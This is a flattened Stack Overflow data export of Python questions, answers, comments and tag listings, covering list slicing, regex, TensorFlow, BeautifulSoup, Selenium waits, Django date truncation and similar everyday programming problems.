has comment: http://stackoverflow.com/comment/81040405
has comment: http://stackoverflow.com/comment/81040244
has comment: http://stackoverflow.com/comment/81040455
has comment: http://stackoverflow.com/comment/81039880
score: 1
type: Answer
has body: To do that, first you need to make sure your code is using those values. I am going to assume they got lost while porting the code to Stack Overflow, but just in case... make sure of this changes. Your list is named channels_list, but your enumerate tries to enumerate self.channel. Fix that. Your code to find the channel doesn't uses the find_channel variable. Now about the real question: Enumerate saves the index of an item and its value, so once you find the desired item, you tell to the list "get items from this index... to this index + 7 more". To do that we slice it using [from:to]. Code: channels_list = ['101 BBC One S East', '102 BBC Two', '103 ITV', '104 Channel 4', '105 Channel 5', '106 Sky One', '107 Sky Living', '108 Sky Atlantic', '401 Sky Sports 1 UK', '402 SKY Sports 2 UK', '403 Sky Sports 3 UK', '404 Sky Sports 4 UK', '405 Sky Sports 5 UK', '406 Sky Sports News HQ', '407 Sky Sports F1', '408 Sky Sports 1 HD', '409 Sky Sports 2 HD', '410 Sky Sports 3 HD', '411 Sky Sports 4 HD', '412 Sky Sports 5 HD', '413 Eurosport 1 UK', '414 Eurosport 2 UK', '415 BT Sport 1', '416 BT Sport 2', '417 At the Races', '418 BT Sport ESPN', '419 MUTV', '420 Chelsea TV', '421 Eir Sport 1', '422 Eir Sport 2'] find_channel = '101 BBC One S East' for i, start_ch in enumerate(channels_list): if start_ch == find_channel: my_seven_channels = channels_list[i:i+7] print(my_seven_channels) Update: After re-reading your question I think you confused us asking to get the next 7 items but instead you want to skip the next 7 items. my_seven_channels = channels_list[i+7:i+14] Update 2: Seems like there is a confussion with what i means so let me clarify it. i was just the name we assigned to the index. The next code works to first skip 7 items and then get the next 14 items, using as start point the find_channel variable. for channel_index, start_ch in enumerate(channels_list): if start_ch == find_channel: my_seven_channels = channels_list[channel_index+7:channel_index + 21]
has comment: http://stackoverflow.com/comment/81040188
has comment: http://stackoverflow.com/comment/81040728
has comment: http://stackoverflow.com/comment/81040346
has comment: http://stackoverflow.com/comment/81040127
has comment: http://stackoverflow.com/comment/81040260
has comment: http://stackoverflow.com/comment/81040432
has comment: http://stackoverflow.com/comment/81040365
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81039988
has comment: http://stackoverflow.com/comment/81040015
upvote count: 1
answers question: http://stackoverflow.com/q/47046216
has comment: http://stackoverflow.com/comment/81040302
has comment: http://stackoverflow.com/comment/81039923
has comment: http://stackoverflow.com/comment/81040409

http://stackoverflow.com/a/46954974
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46941070
downvote count: 0
upvote count: 1
has body: Something a bit more compact: def split_seq( seq ): result = [] sum = 0 subseq = [[],[]] for i,a in enumerate(seq): sum += a subseq[ 0 if a&gt;=0 else 1 ].append( i ) if sum == 0: result.append( subseq ) subseq = [[],[]] return result

http://stackoverflow.com/comment/81053205
type: Comment
has text: You can use: `fruit = 'banana'; L[L.index(fruit):] + L[:L.index(fruit)]`
comment on: http://stackoverflow.com/q/47052966
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81077504
comment on: http://stackoverflow.com/q/47064582
type: Comment
score: 1
has text: `dict['user']` returns a _list_ not a _dictionary_, thats what the error is trying to tell
type: QuestionComment

http://stackoverflow.com/comment/81031577
has text: I'm very new to programming. I'm quick to pick up basic concepts and somewhat figure what each thing does. However this is my first real stab at python programming. A few things, what do you mean by threads? Also yes the (7*60*60) was to have it record for 7 hours. I want the main video to record for 7 hours, but I'd like to just connect to the stream any time.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47041649
type: AnswerComment

http://stackoverflow.com/comment/81004428
type: Comment
has text: What if there is 500 elements in each row?
type: AnswerComment
comment on: http://stackoverflow.com/a/47028585
score: 0

theano
tags question: http://stackoverflow.com/q/46977371
tags question: http://stackoverflow.com/q/46997984
tag name: theano
type: Tag
tags question: http://stackoverflow.com/q/46963171
tags question: http://stackoverflow.com/q/46921246
tags question: http://stackoverflow.com/q/46905867
tags question: http://stackoverflow.com/q/47033886
tags question: http://stackoverflow.com/q/46957953

http://stackoverflow.com/comment/80775353
score: 0
comment on: http://stackoverflow.com/q/46914093
type: Comment
has text: the `math` module does not have to be installed. It is always part of the `python` interpreter. Do you get an error when you go `import math`?
type: QuestionComment

http://stackoverflow.com/comment/81059038
has text: Try `CVS_RSH=/full/path/to/ssh` (just a guess)
comment on: http://stackoverflow.com/a/47052605
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80932498
type: QuestionComment
comment on: http://stackoverflow.com/q/46992995
score: 0
has text: How do you get it? Maybe exist another better solution for prevent it.
type: Comment

http://stackoverflow.com/q/47041553
has comment: http://stackoverflow.com/comment/81030043
tagged with: regex-negation
downvote count: 0
has answer: http://stackoverflow.com/a/47042223
has title: How do I dynamically capture in regex two dates from one line of text?
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47041658
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/47041658
has comment: http://stackoverflow.com/comment/81031418
score: 2
type: AnsweredQuestion
tagged with: python-2.7
has body: I have a text that will change weekly: text = "Weekly Comparison, Week 50 October 28 - November 3, 2016 October 30 - November 5, 2015" I'm looking for regex patterns for year 1, and year 2. (Both will change weekly so I need the formula to capture all months, days, years) My output should be the following: 2015 = November 5, 2015 2016 = November 3, 2016 The framework I'm using does not allow for regex capture groups or splits, so I need the formula to be specialized for this type of string. Thanks!
has comment: http://stackoverflow.com/comment/81030143
answer count: 3
accepted answer: http://stackoverflow.com/a/47042223
upvote count: 2
tagged with: regex-lookarounds
has answer: http://stackoverflow.com/a/47041735
has comment: http://stackoverflow.com/comment/81030218
has comment: http://stackoverflow.com/comment/81030187

http://stackoverflow.com/q/47004761
score: 0
has comment: http://stackoverflow.com/comment/80956088
has body: Given a set of valid chars in Python: valid_chars = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "-", "."} I'm trying to find out if two strings are only formed by characters in the set, and if not, the method will return False. for char in zip(latitude, longitude): if char not in valid_chars: return False At first glance, I'd say this piece of code should work fine, but no matter which strings I input the method will always return False. Is there something I'm missing here? EDIT: Gonna provide some more information about what I'm trying to do: The method should check if a string of coordinates is valid or not by checking if there are not invalid characters in the latitude and the longitude. Here's an example of what the method should receive: is_valid_coordinates("24.53525235, 23.45235") =&gt; True is_valid_coordinates("0.342q0832, 1.2324") =&gt; False And this is how I get the latitude and longitude from the given parameter: latitude = coordinates[:coordinates.index(',')] longitude = coordinates[coordinates.index(',') + 2:]
has comment: http://stackoverflow.com/comment/80956295
tagged with: set
has comment: http://stackoverflow.com/comment/80956168
has answer: http://stackoverflow.com/a/47004843
tagged with: string
has comment: http://stackoverflow.com/comment/80955990
type: Question
has comment: http://stackoverflow.com/comment/80956220
has answer: http://stackoverflow.com/a/47005015
has comment: http://stackoverflow.com/comment/80956172
has answer: http://stackoverflow.com/a/47004848
has answer: http://stackoverflow.com/a/47004853
possible better answer: http://stackoverflow.com/a/47004853
answer count: 5
tagged with: python
has title: How to check if a character from a list is in a given set?
has comment: http://stackoverflow.com/comment/80956013
has answer: http://stackoverflow.com/a/47004793
accepted answer: http://stackoverflow.com/a/47004793
type: AnsweredQuestion

numpy
tags question: http://stackoverflow.com/q/46916993
tags question: http://stackoverflow.com/q/46978948
tags question: http://stackoverflow.com/q/47033614
tags question: http://stackoverflow.com/q/46935703
tags question: http://stackoverflow.com/q/46999971
tags question: http://stackoverflow.com/q/47014262
tags question: http://stackoverflow.com/q/47059143
tags question: http://stackoverflow.com/q/47031768
tags question: http://stackoverflow.com/q/46993311
tags question: http://stackoverflow.com/q/47042332
tags question: http://stackoverflow.com/q/47036756
tags question: http://stackoverflow.com/q/46916839
tags question: http://stackoverflow.com/q/47026617
tags question: http://stackoverflow.com/q/47027977
tags question: http://stackoverflow.com/q/46991578
tags question: http://stackoverflow.com/q/46939487
tags question: http://stackoverflow.com/q/46998199
tags question: http://stackoverflow.com/q/47025984
tags question: http://stackoverflow.com/q/46936981
tags question: http://stackoverflow.com/q/47004273
tags question: http://stackoverflow.com/q/47057355
tags question: http://stackoverflow.com/q/46984540
tags question: http://stackoverflow.com/q/47064042
tags question: http://stackoverflow.com/q/46995925
tags question: http://stackoverflow.com/q/47025225
tags question: http://stackoverflow.com/q/46982030
tags question: http://stackoverflow.com/q/46986059
tags question: http://stackoverflow.com/q/47033093
tags question: http://stackoverflow.com/q/46975868
tags question: http://stackoverflow.com/q/46991582
tags question: http://stackoverflow.com/q/46990098
tags question: http://stackoverflow.com/q/46986343
tags question: http://stackoverflow.com/q/47023095
tags question: http://stackoverflow.com/q/47044610
tags question: http://stackoverflow.com/q/46918409
tags question: http://stackoverflow.com/q/46964459
tags question: http://stackoverflow.com/q/47058255
tags question: http://stackoverflow.com/q/46930268
tags question: http://stackoverflow.com/q/47030661
tags question: http://stackoverflow.com/q/47011461
tags question: http://stackoverflow.com/q/47050885
tags question: http://stackoverflow.com/q/46959302
tags question: http://stackoverflow.com/q/47024049
tags question: http://stackoverflow.com/q/46937010
tags question: http://stackoverflow.com/q/46915800
tags question: http://stackoverflow.com/q/46924891
tags question: http://stackoverflow.com/q/47044541
tags question: http://stackoverflow.com/q/47058879
tags question: http://stackoverflow.com/q/47004506
tags question: http://stackoverflow.com/q/47046893
tags question: http://stackoverflow.com/q/47005070
tags question: http://stackoverflow.com/q/47012227
tags question: http://stackoverflow.com/q/46934273
tags question: http://stackoverflow.com/q/46988650
tags question: http://stackoverflow.com/q/46987693
tags question: http://stackoverflow.com/q/46974214
tags question: http://stackoverflow.com/q/46939049
tags question: http://stackoverflow.com/q/46921532
tags question: http://stackoverflow.com/q/46937481
tags question: http://stackoverflow.com/q/46923528
tags question: http://stackoverflow.com/q/47039720
tags question: http://stackoverflow.com/q/46995041
tags question: http://stackoverflow.com/q/46953967
tags question: http://stackoverflow.com/q/47004736
tags question: http://stackoverflow.com/q/47006611
tags question: http://stackoverflow.com/q/46990079
tags question: http://stackoverflow.com/q/46995190
tags question: http://stackoverflow.com/q/46916667
tags question: http://stackoverflow.com/q/46943967
tags question: http://stackoverflow.com/q/46946204
tags question: http://stackoverflow.com/q/46996575
tags question: http://stackoverflow.com/q/47027225
tags question: http://stackoverflow.com/q/46912685
tags question: http://stackoverflow.com/q/47001413
tags question: http://stackoverflow.com/q/47037150
tags question: http://stackoverflow.com/q/46939588
tags question: http://stackoverflow.com/q/46987214
tags question: http://stackoverflow.com/q/46923790
tags question: http://stackoverflow.com/q/47023100
tags question: http://stackoverflow.com/q/47043554

http://stackoverflow.com/comment/80862009
comment on: http://stackoverflow.com/a/46957187
has text: everyone needs an extra pair of eyes once in a while :-)
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47019336
type: Answer
has comment: http://stackoverflow.com/comment/81458377
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47005212
has body: You can transform each found div to html and then again find all sub divs: divs = page.find_all('div', attrs={'class': 'right-col'}) for div in divs: div_to_html = bs.BeautifulSoup(div.__str__(),'lxml') sub_divs = div_to_html.find_all('div') reference_no = sub_divs[1].text reference_no = reference_no.replace('Doffin referanse: ', '') print(reference_no) registration_date = '' date = '' if(len(sub_divs) == 4): date = sub_divs[2].text date = date.replace('Tilbudsfrist: ', '') registration_date = sub_divs[3] else: registration_date = sub_divs[2] registration_date = registration_date.replace('Kunngjøringsdato: ', '')
accepted answer of: http://stackoverflow.com/q/47005212

http://stackoverflow.com/q/47027927
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47027989
accepted answer: http://stackoverflow.com/a/47027989
downvote count: 1
tagged with: python
has title: python calculator syntax error when everyting is indented correctly
score: -1
tagged with: jupyter
has comment: http://stackoverflow.com/comment/81002842
type: Question
upvote count: 0
has body: math = raw_input("Addition + or multiplication *.") numbers = int(raw_input("How many numbers would you like to use?") numbers_list = [] for input in range(numbers): new_number = float(raw_input("Enter your numbers.") numbers_list.append(new_number) if math == "+": print sum(new_number) if math == "*": import numpy product = numpy.product(numbers_list) print (product)
has comment: http://stackoverflow.com/comment/81002865
has comment: http://stackoverflow.com/comment/81002862
answer count: 1

http://stackoverflow.com/comment/80949743
type: QuestionComment
comment on: http://stackoverflow.com/q/46992631
has text: @Divakar That worked! Thanks very much! I must have missed that detail when reading the docs.
score: 0
type: Comment

http://stackoverflow.com/q/46998113
tagged with: excel-2010
downvote count: 1
has answer: http://stackoverflow.com/a/46998228
accepted answer: http://stackoverflow.com/a/46998228
has body: I have the following code however the output does not appear correctly. Any idea as to why it is causing this. I do not have this issue in Linux I have tried to add: encoding="utf-8" However this did not resolve the issue. import csv import openpyxl wb = openpyxl.Workbook() ws = wb.active f = open('C:\HAHA.csv') reader = csv.reader(f, delimiter=':') for row in reader: ws.append(row) f.close() wb.save('C:\HAHA.xlsx')
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80942977
tagged with: openpyxl
tagged with: python
has comment: http://stackoverflow.com/comment/80942932
tagged with: excel
type: AnsweredQuestion
score: 0
answer count: 2
upvote count: 1
tagged with: http://stackoverflow.com/tag/csv
has title: Wrong layout when converting from csv to excel
has answer: http://stackoverflow.com/a/46998382
possible better answer: http://stackoverflow.com/a/46998382

message-queue
type: Tag
tags question: http://stackoverflow.com/q/46956286
tag name: message-queue

http://stackoverflow.com/a/46940057
type: Answer
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/46906052
has body: This is not possible in Seaborn, the reason seems to be that it would interfere with the nested grouping from the hue= parameter, as indicated to in the changelog describing why this functionality was removed from the sns.violinplot, which used to have a positions= keyword (as do plt.boxplot). As indicated in the comments, it is possible to achieve the desired outcome using plt.errorbar. import matplotlib.pyplot as plt import seaborn as sns import numpy as np tips = sns.load_dataset('tips') tips.loc[(tips['size'] == 6), 'size'] = 7 # This is to avoid that the points from the different curves are in the # exact same x-position (so that the error bars to not obfuscate each other) offset_amount = 0.1 gender_groups = tips.groupby('sex') num_groups = gender_groups.ngroups lims = num_groups * offset_amount / 2 offsets = np.linspace(-lims, lims, num_groups) # Calculate and plot the mean and error estimates. fig, ax = plt.subplots() for offset, (gender_name, gender) in zip(offsets, gender_groups): means = gender.groupby('size')['total_bill'].mean() errs = gender.groupby('size')['total_bill'].sem() * 1.96 #95% CI ax.errorbar(means.index-offset, means, marker='o', yerr=errs, lw=2)

http://stackoverflow.com/a/79434666
has comment: http://stackoverflow.com/comment/140090441
has body: Here is a simpler solution, using built-in function I do not often see used. I required something on this level of efficiency (because it is part of a large, complex set of functions) to validate large numbers of unpredictable data types on the fly. a_list = [3.4, False, ['now', 'is', 'the', 'time'], {'soda': 'coke'}, 6] if any(isinstance(x, list) for x in a_list): print('true') else: print('false')
type: Answer
answers question: http://stackoverflow.com/q/46919820
score: 0

http://stackoverflow.com/comment/81000644
comment on: http://stackoverflow.com/q/47026617
score: 0
type: Comment
type: QuestionComment
has text: What output do you expect when you run it in the terminal?

http://stackoverflow.com/q/46929189
has comment: http://stackoverflow.com/comment/116178582
upvote count: 3
type: UnansweredQuestion
downvote count: 0
tagged with: locust
favorite count: 0
tagged with: c#
score: 3
has comment: http://stackoverflow.com/comment/105592580
tagged with: python
type: Question
has body: I am using Locust framework and Python. I am writing HTTP request using self.client.get / self.client.post and I am observing these requests and response in Fiddler. But when I checked for some https site using the same syntax I can not see it's response in Fiddler. The response code is 0 and response are coming null. So is there any other way to send https requests? I have imported following in my python file code - HttpLocust, TaskSet, task, events, web, datetime, time I want to make request for mostly for java sites So how can I send any https request using Locust and Python?
has title: How to send https request using Python and Locust
answer count: 0

http://stackoverflow.com/comment/81058971
comment on: http://stackoverflow.com/a/47019994
has text: 2 reasons: Scale and the Pokemon exception. This solution would never scale, for example, imagine if you wanted to add dozens or hundreds of commands like the `kill` or `cd`. It would become a mess very quickly. There are many good design patterns that could help. Secondly, the pokemon ("Catch 'em all") exception handler here simply ignores the errors, effectively hiding them. Some of these error you would probably want to catch and handle: what if there was a permissions error? an unknown path/folder error? This piece of code may get the job done for now, but it's suboptimal / dirty.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47043014
has answer: http://stackoverflow.com/a/47043040
upvote count: 1
score: 1
downvote count: 0
tagged with: isspace
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47043112
has answer: http://stackoverflow.com/a/47043114
has comment: http://stackoverflow.com/comment/81033087
has body: I'm having difficulty with the isspace function. Any idea why my code is wrong and how to fix it? Here is the problem: Implement the get_num_of_non_WS_characters() function. get_num_of_non_WS_characters() has a string parameter and returns the number of characters in the string, excluding all whitespace. Here is my code: def get_num_of_non_WS_characters(s): count = 0 for char in s: if char.isspace(): count = count + 1 return count
accepted answer: http://stackoverflow.com/a/47043040
tagged with: python
has comment: http://stackoverflow.com/comment/81033056
answer count: 4
type: AnsweredQuestion
has title: Python isspace function
has answer: http://stackoverflow.com/a/47043108
possible better answer: http://stackoverflow.com/a/47043108

http://stackoverflow.com/q/46912721
has body: I need to save and restore a model that uses sparse_placeholder, however I'm getting an error message: KeyError: "The name 'w1:0' refers to a Tensor which does not exist. The operation, 'w1', does not exist in the graph." Here is a simplistic way to reproduce the error I'm getting when I need to restore a model in which there is a sparse_tensor: import tensorflow as tf import numpy as np def train_sparse(): w1 = tf.sparse_placeholder(tf.float64, shape=None, name="w1") b1 = tf.Variable(np.ones((2, 2)) * 1.0, name="bias") operation = tf.sparse_tensor_dense_matmul(w1, b1, name="op1") with tf.Session() as sess: sess.run(tf.global_variables_initializer()) saver = tf.train.Saver() w1_value = tf.SparseTensorValue([[1, 1]], [5], [2, 2]) print sess.run(operation, {w1: w1_value}) saver.save(sess, 'my_test_model') def test_sparse(): with tf.Session() as sess: saver = tf.train.import_meta_graph('my_test_model.meta') saver.restore(sess, tf.train.latest_checkpoint('./')) print(sess.run('bias:0')) graph = tf.get_default_graph() op_to_restore = graph.get_tensor_by_name("op1/SparseTensorDenseMatMul:0") w1 = graph.get_tensor_by_name("w1:0") w1_value = tf.SparseTensorValue([[1, 1]], [5], [2, 2]) print sess.run(op_to_restore, {w1: w1_value}) if __name__ == "__main__": train_sparse() test_sparse() Here we can see a similar graph in which normal tensor has been used: import tensorflow as tf import numpy as np def train(): w1 = tf.placeholder(tf.float64, shape=None, name="w1") b1 = tf.Variable(np.ones((2, 2)) * 1.0, name="bias") operation = tf.matmul(w1, b1, name="op1") with tf.Session() as sess: sess.run(tf.global_variables_initializer()) saver = tf.train.Saver() w1_value = [[0, 0], [0, 5]] print sess.run(operation, {w1: w1_value}) saver.save(sess, 'my_test_model') def test(): with tf.Session() as sess: saver = tf.train.import_meta_graph('my_test_model.meta') saver.restore(sess, tf.train.latest_checkpoint('./')) print(sess.run('bias:0')) graph = tf.get_default_graph() op_to_restore = gra…
has title: Tensorflow: Restore model with sparse_placeholder
answer count: 1
tagged with: tensorflow
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/48233526
upvote count: 2
score: 2
downvote count: 0
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48233526

http://stackoverflow.com/comment/80766265
has text: Two things. First using subplots seems to me a lot of work and I've the impression this could be done better. Secondly, even using subplots I'm not able to get the result I want, that is to group and label correctly the bar plot.
comment on: http://stackoverflow.com/q/46906512
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/46941719
has comment: http://stackoverflow.com/comment/80830936
has answer: http://stackoverflow.com/a/46951166
favorite count: 0
tagged with: combinatorics
type: Question
has comment: http://stackoverflow.com/comment/80831001
tagged with: python-3.x
has body: I would like to compare all elements in my iterable object combinatorically with each other. The following reproducible example just mimics the functionality of a plain list, but demonstrates my problem. In this example with a list of ["A","B","C","D"], I would like to get the following 16 lines of output, every combination of each item with each other. A list of 100 items should generate 100*100=10,000 lines. A A True A B False A C False ... 10 more lines ... D B False D C False D D True The following code seemed like it should do the job. class C(): def __init__(self): self.stuff = ["A","B","C","D"] def __iter__(self): self.idx = 0 return self def __next__(self): self.idx += 1 if self.idx &gt; len(self.stuff): raise StopIteration else: return self.stuff[self.idx - 1] thing = C() for x in thing: for y in thing: print(x, y, x==y) But after finishing the y-loop, the x-loop seems done, too, even though it's only used the first item in the iterable. A A True A B False A C False A D False After much searching, I eventually tried the following code, hoping that itertools.tee would allow me two independent iterators over the same data: import itertools thing = C() thing_one, thing_two = itertools.tee(thing) for x in thing_one: for y in thing_two: print(x, y, x==y) But I got the same output as before. The real-world object this represents is a model of a directory and file structure with varying numbers of files and subdirectories, at varying depths into the tree. It has nested links to thousands of members and iterates correctly over them once, just like this example. But it also does expensive processing within its many internal objects on-the-fly as needed for comparisons, which would end up doubling the workload if I had to make a complete copy of it prior to iterating. I would really like to use multiple iterators, pointing into a single object with all the data, if possible. Edit on answers: The critical flaw in the question code, pointed out in all answers, is the s…
has comment: http://stackoverflow.com/comment/80831063
tagged with: python-itertools
has comment: http://stackoverflow.com/comment/80830888
tagged with: python
score: 4
upvote count: 4
accepted answer: http://stackoverflow.com/a/46951166
type: AnsweredQuestion
answer count: 2
tagged with: for-loop
has comment: http://stackoverflow.com/comment/80831805
has comment: http://stackoverflow.com/comment/80831272
has answer: http://stackoverflow.com/a/46941827
downvote count: 0
has title: How can I have multiple iterators over a single python iterable at the same time?
possible better answer: http://stackoverflow.com/a/46941827

http://stackoverflow.com/q/47035393
has comment: http://stackoverflow.com/comment/81016969
answer count: 2
has comment: http://stackoverflow.com/comment/81017326
accepted answer: http://stackoverflow.com/a/47035498
has comment: http://stackoverflow.com/comment/81017654
has comment: http://stackoverflow.com/comment/81017084
has answer: http://stackoverflow.com/a/47035498
has comment: http://stackoverflow.com/comment/81017223
upvote count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81017523
type: AnsweredQuestion
score: 0
has title: One-line list comprehension with different index using Python
possible better answer: http://stackoverflow.com/a/47035736
has answer: http://stackoverflow.com/a/47035736
tagged with: python
type: Question
has body: I am creating a list in python in the following way: new_points = [None] * 25 for point in points: new_points[point.id] = point I am wondering if this can be achieved by Python one-line list comprehension. Please note that each point has a unique id. Hence two points can never have same ids.

http://stackoverflow.com/comment/81037344
type: Comment
has text: If you want to create a file with a larger table, best is to create the file from scratch; create a new table from scratch.
type: QuestionComment
comment on: http://stackoverflow.com/q/47037648
score: 2

http://stackoverflow.com/comment/80868760
type: Comment
type: QuestionComment
has text: That is what I'm asking, I have no idea how to merge "horizontally" the single dataframes and how to set a single index for all of them.
comment on: http://stackoverflow.com/q/46957961
score: 0

http://stackoverflow.com/a/46931913
has comment: http://stackoverflow.com/comment/80810786
answers question: http://stackoverflow.com/q/46931256
has comment: http://stackoverflow.com/comment/129345856
score: 10
type: Answer
upvote count: 10
has body: You need to use TruncDay() instead of TruncDate. In the usage example just below that section of the documentation you'll see the difference between the two. TruncDate does not take a timezone option - it uses the current timezone and gives you the date in that timezone. I think the distinction between the two is that TruncDate returns a DateField which by definition cannot be timezone-aware. TruncDay on the other hand returns a DateTimeField(with time portion set to 00:00:00), which can be timezone aware.
accepted answer of: http://stackoverflow.com/q/46931256
downvote count: 0
type: AcceptedAnswer

user-interface
tags question: http://stackoverflow.com/q/47026343
tags question: http://stackoverflow.com/q/46951610
tags question: http://stackoverflow.com/q/46931357
tags question: http://stackoverflow.com/q/46944743
tags question: http://stackoverflow.com/q/46939378
tags question: http://stackoverflow.com/q/46991636
type: Tag
tags question: http://stackoverflow.com/q/47004018
tags question: http://stackoverflow.com/q/46982139
tags question: http://stackoverflow.com/q/46953267
tags question: http://stackoverflow.com/q/47043612
tag name: user-interface
tags question: http://stackoverflow.com/q/47053063
tags question: http://stackoverflow.com/q/47020486
tags question: http://stackoverflow.com/q/46974209

http://stackoverflow.com/comment/80933588
score: 0
comment on: http://stackoverflow.com/q/46993348
type: QuestionComment
type: Comment
has text: But the point is you don't want to do that conversion for the address field. I don't know why you think it needs an instance, the whole point of form fields is that they take POST data and convert it into the appropriate types.

http://stackoverflow.com/a/46933165
score: 3
has body: You could achieve this with what I would call a pythonic one-liner. We don't need to bother with using a regex, as we can use the built-in .count() method, which will from the documentation: string.count(s, sub[, start[, end]]) Return the number of (non-overlapping) occurrences of substring sub in string s[start:end]. Defaults for start and end and interpretation of negative values are the same as for slices. So all we need to do is sum up the occurrences of each keyword in kwlist in the string ltxt. This can be done with a list-comprehension: output.write(str(sum([ltxt.count(kws) for kws in kwlist]))) Update As pointed out in @voiDnyx's comment, the above solution writes the sum of all the counts, not for each individual keyword. If you want the individual keywords outputted, you can just write each one individually from the list: counts = [ltxt.count(kws) for kws in kwlist] for cnt in counts: output.write(str(cnt)) This will work, but if you wanted to get silly and put it all in one-line, you could potentially do: [output.write(str(ltxt.count(kws))) for kws in kwlist] Its up to you, hope this helps! :) If you need to match word boundaries, then yes the only way to do so would be to use the \b in a regex. This doesn't mean that you cant still do it in one line: [output.write(str(len(re.findall(r'\b'+re.escape(kws)+r'\b'))) for kws in kwlist] Note how the re.escape is necessary, as the keyword may contain special characters.
has comment: http://stackoverflow.com/comment/80813473
answers question: http://stackoverflow.com/q/46932542
type: Answer
has comment: http://stackoverflow.com/comment/80880930
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/80813499
has comment: http://stackoverflow.com/comment/80886195

http://stackoverflow.com/comment/81023823
score: 0
type: Comment
type: QuestionComment
has text: You need to import other urls only in your <projectfolder>/urls.py , you don't need to import in all urls.py.
comment on: http://stackoverflow.com/q/47038484

http://stackoverflow.com/a/46913320
type: Answer
answers question: http://stackoverflow.com/q/46910711
score: 0
has body: Assuming this as the expected output Input a number: 5 Enter a string: This Enter a string: test Enter a string: is is Enter a string: true Enter a string: fine ok Code n = int(input("Input a number: ")) x = [] ok = False for i in range(0,n): woord = input("Enter a string: ") if i &gt; 0: y = ord(woord[:1].lower()) -96 z = ord(woord[-1].lower())-96 x.append(y) x.append(z) if x[c-1] - y == -1: ok = True else: print(f'{woord}') ok = False c=c+2 else: x.append(ord(woord[-1].lower())-96) c=1 if (ok): print('ok') For the scenario mentioned in question Input a number: 3 Enter a string: liverpool Enter a string: MaM Enter a string: nelson ok

http://stackoverflow.com/comment/80999608
has text: I give up... good luck!
comment on: http://stackoverflow.com/q/47025988
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81030465
score: 0
type: AnswerComment
has text: In this case, what would be the most reliable way to eliminate the filter part so I get a string with only the path name and the file? Basically mimicing PyQt4's behavior when converting to PyQt5. Example C:\SomeArbitraryDirectory\file.xml
type: Comment
comment on: http://stackoverflow.com/a/47041565

http://stackoverflow.com/q/46946374
has body: I have a job that tends to work with time.sleep. However, I’m wanting a quicker method than time.sleep(2) as this is slow and would not work where there is slow internet or on my laptop which is slow. Full code here. The job works for: indexes = [index for index in range(len(options))] shuffle(indexes) for index in indexes: time.sleep(5) driver.get('https://www.bet365.com.au/#/AS/B1/') clickMe = wait(driver, 10).until(EC.element_to_be_clickable((By.XPATH,'(//div[div/div/text()="Main Lists"]//div[starts-with(@class, "sm-CouponLink_Label") and normalize-space()])[%s]' % str(index + 1)))) clickMe.click() time.sleep(3) Changing time.sleep to 0 means the job just finishes successfully [no scraping or actions performed]. Unfortunately, EC.presence_of_element_located((By.css_selector, "#TopPromotionBetNow")) WebDriverWait(driver, timeout).until(element_present) Is giving me an error. clickMe = wait(driver, 10).until(EC.element_to_be_clickable((By.XPATH,'(//div[div/div/text()="Main Lists"]//div[starts-with(@class, "sm-CouponLink_Label") and normalize-space() Does not seem to have an effect, Any ideas on how I can make it so the job will scrape, navigate, click successfully so that the page is fully loaded?
has comment: http://stackoverflow.com/comment/80880978
has comment: http://stackoverflow.com/comment/84211602
has title: Reliable alternative to `time.sleep` [As job does not scrape data without it]
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/48616333
type: UnansweredQuestion
tagged with: python
tagged with: css
tagged with: selenium-webdriver
answer count: 2
has comment: http://stackoverflow.com/comment/84209678
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/48619555
downvote count: 0
tagged with: selenium
tagged with: web-scraping

http://stackoverflow.com/comment/81025830
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47039613
score: 2
has text: I do not really get the question. Of course one can not *guarantee* that a login system is safe, but usually writing your own will not be better than what is provided, since django has been reviewed by many eyeballs.

http://stackoverflow.com/a/50648391
upvote count: 3
answers question: http://stackoverflow.com/q/46963104
has body: Had this same question and follow the lambda example from @Ron Norris's comment. However, the documentation isn't clear about how you can find the child_element relative to the ancestor_element, even when using lambda. You can actually replace driver in the WebDriverWait call with your ancestor_element, to explicitly only search things "under" the ancestor_element (even though the docstring states that it has to be an instance of WebDriver, I found that a WebElement also works). So I wound up with something like: child_element = WebDriverWait(ancestor_element,10).until( EC.presence_of_element_located((By.XPATH, child_xpath)) ) If you want to use a lambda, you could then do: child_element = WebDriverWait(ancestor_element,10).until( lambda x: x.find_element_by_xpath(child_xpath) )
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/132423434
score: 2

http://stackoverflow.com/comment/80965944
type: Comment
has text: Why are you not using a parametrized query in the first place?
type: QuestionComment
score: 4
comment on: http://stackoverflow.com/q/47009752

http://stackoverflow.com/comment/80992813
score: 0
type: AnswerComment
has text: @ElisByberi Only `!` is at the end of the string, `1` is in the middle. So it should be `false`.
comment on: http://stackoverflow.com/a/47021655
type: Comment

http://stackoverflow.com/comment/80984147
comment on: http://stackoverflow.com/q/47018651
score: 0
type: Comment
type: QuestionComment
has text: `findall` with a bare tag only finds elements that are **direct** children of the element. Try `root.findall('.//Row')`

http://stackoverflow.com/comment/80813197
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46932634
